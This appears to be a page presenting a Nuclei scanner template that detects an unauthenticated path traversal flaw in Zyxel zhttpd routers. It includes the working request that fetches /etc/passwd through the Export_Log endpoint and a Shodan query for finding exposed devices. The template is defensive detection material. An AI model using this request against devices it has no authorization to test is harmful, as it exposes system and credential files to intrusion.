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zhttpd - Local File Inclusion

ID: unauth-lfd-zhttpd

Severity: high

Author: EvergreenCartoons

Tags: misconfig,unauth,zyxel,lfi,msf

zhttpd is vulnerable to unauthenticated local inclusion including privileged files such as /etc/shadow. An attacker can read all files on the system by using this endpoint.

id: unauth-lfd-zhttpd
info:
name: zhttpd - Local File Inclusion
author: EvergreenCartoons
severity: high
description: |
zhttpd is vulnerable to unauthenticated local inclusion including privileged files such as /etc/shadow. An attacker can read all files on the system by using this endpoint.
reference:
- https://sec-consult.com/blog/detail/enemy-within-unauthenticated-buffer-overflows-zyxel-routers/
- https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/
- https://github.com/rapid7/metasploit-framework/pull/17388
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
shodan-query: http.html:"VMG1312-B10D"
tags: misconfig,unauth,zyxel,lfi,msf
http:
- raw:
- |
GET /Export_Log?/etc/passwd HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- 'application/octet-stream'
- type: status
status:
- 200
# digest: 4a0a004730450220652222f8f44b4107574ae66436ddf49eca741b43f8acfb55965158c06552b7fe0221008c21d1647a28806e3064e59f0650e829976127eb190a1299d6b7bb637bce39a9:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/zyxel/unauth-lfd-zhttpd.yaml"

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